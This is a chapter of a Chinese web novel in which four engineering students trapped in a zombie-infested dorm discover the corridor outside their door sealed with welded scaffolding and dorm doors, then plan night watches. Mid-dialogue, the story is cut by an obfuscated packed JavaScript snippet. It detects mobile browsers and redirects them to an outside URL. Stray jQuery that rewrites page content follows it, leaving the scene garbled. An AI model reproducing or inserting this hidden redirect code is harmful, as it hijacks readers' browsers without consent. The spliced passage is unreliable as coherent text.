6.铁门阻拦

作品:《大学生末世生存指北

    许司顺手捋着她炸毛的长发,解释道:“这不是看你睡得正香。也不是什么大事,咱们门都堵着,他们也进不来。”


    幸好是在阳台把门关上才说的话,万一门口有人,此刻绝对能听见傅莎莎的声音。


    “他们?”傅莎莎注意到许司的用词:“你们是说昨晚撬门的不止一个人?”


    “只是怀疑而已。”禇黎点头,将第一晚听见撞击声的事和近几日的猜测告诉众人。


    三人越听脸色越凝重。


    “总之,我怀疑我们楼下已经出现了团伙,他们正在做的…应该是清剿楼内的丧尸吧。”


    不然说不通为什么第一晚发出那么大声响,还有他们是怎么上到二楼来撬门的。


    女生宿舍比较潮,东北天气干燥。


    这个季节很多女生都喜欢开门开窗制造穿堂风,所以集体变异后,楼道中的丧尸数目绝对不小。


    车明珠在一旁附和:“黎黎说的没错,我那天睡得晚,也听到声音了。”


    许司有点懊恼:“确实,我早该想到的,宿舍楼里肯定混进不少男生。”


    傅莎莎控制住许司在她脑袋上胡乱拨弄的手,问道:“那他们究竟是敌是友?就昨晚一声不吭撬门的行为来看,这伙人根本不像好人啊。”


    禇黎手指轻点下巴,神色认真地说:“目前楼下的情况谁也说不清,但他们肯定是奔着物资来的。昨晚没成功,我们也没挑明,所以我感觉他们今晚还会再来。”


    “还敢来??”许司眉头紧皱,语气不善:“他们也太不要脸了吧!第二天逃进女生宿舍的那个男的,应该能看见咱们挂的床单吧?”


    “这不就能证明屋内有活人吗?才乱了几天,他们就敢非法入室?”


    禇黎神色淡淡,看不出生气的样子:“正因为我们挂了床单,让他们意识到屋内是活人,才有可能被盯上。”


    “对外求救本来就是一把双刃剑,能吸引搜救队的注意,肯定也能吸引其他人。毕竟末日能安心等待救援的,寝室里肯定有食物和水。”


    她想过会有这个风险,却没想到这一天来的这么早。


    “那我们现在应该怎么办?”车明珠惴惴不安地问道。


    许司咬牙,眼中愤怒抑制不住:“还能怎么办?再来就跟他们拼了。”


    傅莎莎轻轻揪了揪许司的马尾辫:“冷静点小司,我知道你很烦,但是烦也没用。”


    “你得承认,如果下面是一个男生团伙,我们在力量和人数上就是会存在劣势。”


    “难道要一直这样被动吗?那迟早也会完蛋。”许司不甘心地说。


    “或许,”禇黎盯着被堵得密不透风的门口:“我们可以开门看看。”


    “你们不好奇他们是怎么敢直接在门外撬锁的吗?”


    车明珠说:“是啊,明明门口有丧尸。莫非都被他们杀了?”


    禇黎迟疑点头后,又摇摇头说:“我总觉得不应该这么快。”


    经过她们这些天的观察,丧尸虽然行动迟缓,但是没有痛觉,没有感情,也不会退缩。


    一旦发现目标就无止境的攻击,直到死亡。


    显然,短时间内清剿两层楼的丧尸可不是一个小组织能做到的。


    “那就先开门看看!”许司第一个赞同。


    她二话不说,推开阳台门走到门边,就把堆在门口的椅子行李箱往下搬。


    虽然生气又急切,但许司搬东西的动作很轻,努力控制着东西放在地面上时不发出声响。


    三人也上前帮忙,没一会就将门口清得差不多了。


    傅莎莎盯着自己“恢复自由身”的沙发椅眼神发亮,刚要坐上去体验一下旧日舒适,就被旁边的车明珠提溜起来。


    对方没有看她,视线紧紧落在门口,轻声对她说:“莎莎,你有点正事儿。”


    傅莎莎委屈,其实她就想坐一下,一下就好。


    不过眼见门口的东西被挪开,只剩一个裸|奔的门板。


    她也没来由觉得不安,握紧短刀神情逐渐严肃。


    禇黎打头阵,她朝众人比了一个“嘘”的手势,缓缓拧动门把手。


    “咯吱咯吱咯吱……”


    微不可闻的摩擦声在众人刻意营造的安静下显得尤为明显。


    许司从床位抽出一块木制绘图板作为盾牌,挡在禇黎身前,紧盯将要打开的门缝。


    傅莎莎和车明珠拿着刀站在门口,注意着门前两人的反应。


    禇黎拨回门栓。


    “吱呀——”


    门缓缓打开一道小缝。


    许司紧张地吞咽口水。


    禇黎双眼微微睁大,手中的刀却并没有落下。


    门后的两人看她这幅样子有些焦急,但又不好轻举妄动。


    紧接着,许司也发出感叹:“卧槽……”


    “怎么了呀!”


    车明珠什么也看不见,急得小声问道。


    禇黎示意两人向后让开位置,随即拉开门,将门外情况展现在她们眼前。


    “卧——”


    车明珠眼疾手快捂住傅莎莎的嘴,阻止她发出凤凰鸣叫。


    待两人看过后,禇黎将门关上,重新插回门栓。


    只是这一次,没有人再提出用东西堵门的想法。


    “那真是宿舍能有的东西吗?”许司还没从震惊中缓过神。


    傅莎莎也愣神:“大学真是人才辈出啊……”


    禇黎同样震惊。


    刚才一开门,她就看见宿舍门口没有人或者丧尸的踪迹,只有地上木板和墙上有大片氧化发黑的血迹,在昏暗的光线下显得可怖。


    她有一瞬间还以为那伙人只是偶然才撬她们的门。


    随即她立马发现不对劲。


    这几天没出门,禇黎差点忘了。


    她们寝室都是瓷砖地面,楼道地面为什么会有木板?


    明明外边阳光正好,为什么楼道内光线昏暗?


    217寝室位于右侧楼梯口正对面,楼梯的右侧是水房+厕所。


    禇黎往左一看,三扇宿舍门直直矗立在她们宿舍门口,正好卡在上下楼梯中间的位置,阻挡了左侧和楼上的丧尸。


    右边同样有三扇宿舍门拼接在一起,立在厕所往右,以217寝室为中心围出一块包含下楼梯、厕所水房和隔壁218寝室的区域。


    如果只是这样,但也不至于让四个人齐齐吃惊。


    理工科学校,寝室里有些螺丝刀之类的能卸下宿舍门的工具并不奇怪。


    主要是发明这种方法的人也知道门板很扁,立在原地挡不住丧尸。


    不知在哪找的脚手架,在门后面焊成三角形做支撑,又在底部铺了木板,将两侧门板撑开。


    这才将她们寝室门口的地圈出来。


    “那些木板看上去是卸下来的衣柜门,但是这个脚手架和电焊机是怎么来的?”


    许司轻推眼镜试图分析。


    她们都是机械专业,经历过金工实习。对这些简单概念并不陌生,只一眼就能看出,门外的东西究竟用什么做成的。


    车明珠突然想到什么,说道:“我想起来了,咱们宿舍最近要进行外楼面加固,我做家教的时候的确看到一楼大厅堆了些脚手架。”


    “电焊机估计也是工人们带了放在那的。”


    傅莎莎说:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098571|195298||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我们怎么不知道?”


    许司替车明珠回答道:“最近课少,咱们几个这些天下过楼吗?”


    “额,没有。”


    “等等,也就是说咱们宿舍楼里现在还有工人?”


    禇黎捕捉到重点。


    车明珠迟疑着肯定:“应该……是吧。”


    “天、呐——”


    傅莎莎往后仰倒躺在沙发椅上,眼神无光。


    “那还等什么?都快起来锻炼身体,要不然怎么能打过天天干活的工人!”


    许司听得焦虑,现在一楼被堵住了,她们又被盯上,不做点什么她不安心。


    “今晚我不睡了,跟你俩一起守夜。这帮人都把咱们家围了,肯定还会来的!”


    车明珠有点担忧:“你昨晚就没睡好,白天又高强度锻炼,今晚还不睡的话,能受得了吗?”


    “不能。”


    声音不是许司的,是禇黎率先开口,替她回答道:“这次的危机只是第一步,如果等不到救援,世界会越来越混乱,糟糕的事情会一件接着一件。”


    “不能每一次有情况就全体出动,都以打乱我们原有计划的条件为代价解决。”


    “如果今晚不来,那许司就熬了两天两夜,一直不来的话,难道要永远殚精竭虑地守下去吗?”


    禇黎的话直白,但有道理。


    许司沉默片刻,说道:“好,但我今晚在地上睡,有情况随时叫醒我。”


    傅莎莎紧跟:“我也是!”


    于是,四人恢复正常的节奏,白天积极锻炼,累了就吃点东西站在阳台观察情况。


    只是知道了有人盯着他们后,都刻意减小了发出的声音。


    夜里,傅莎莎将沙发椅放平,头发扎成丸子头,盖了一条毛毯,握着短刀缓缓进入梦乡。


    许司打了地铺,临睡前将眼镜和短刀放在枕边,看着傅莎莎精致地侧颜嘟囔一句:“大小姐睡眠质量真挺不错的。”


    车明珠一把将许司摁倒:“好啦你也快睡吧,有事我俩叫你。”


    “可一定要叫我们啊。”


    “嗯嗯。”


    禇黎倚在窗边发呆,车明珠搬个小凳坐在她身边,问道:“又在看红日?”


    “嗯。”


    “我总觉得你跟我们不一样。”


    禇黎语气平静:“为什么这么觉得?”


    “不知道,”车明珠也看向黑夜中,把月亮显得黯淡无光的暗红球体:“我妈妈总说我细心,从生下来就比别的孩子感知敏锐,能察觉别人隐藏在背后真正的情绪。”


    “而我觉得黎黎,虽然一起做了三年室友,跟大家相处的很好,但其实从未跟我们真正走的近呢。”


    禇黎扭头看向她,车明珠的睫毛敛住眼中神色,语气依旧那么温和,没有责怪,也没有愤怒,反而有一种淡淡的困惑和悲伤。


    “到底为什么,让你要活得这么辛苦呢?”


    最后一句,她的声音几乎小得听不见。


    是的,车明珠的确不懂。


    她的父母恩爱,都在国企工作,双方的父母也都在世,身体健康,有退休金。家里六个大人只有这么一个独生女,从小捧在手心里长大,将她养得幸福无忧,细心又坚韧。


    虽然她有极强的共情能力,但终究理解不了与她完美的人生完全相悖的问题。


    禇黎轻轻叹气,还是认真回答了她的问题。


    “明珠,不是所有人都喜欢有牵绊,我只是选了一条我觉得幸福的路而已。”


    车明珠也看向禇黎。


    跟她对视的那双眸子里什么感情都没有,只有一丝隐藏在眼底的、难以觉察的疲惫。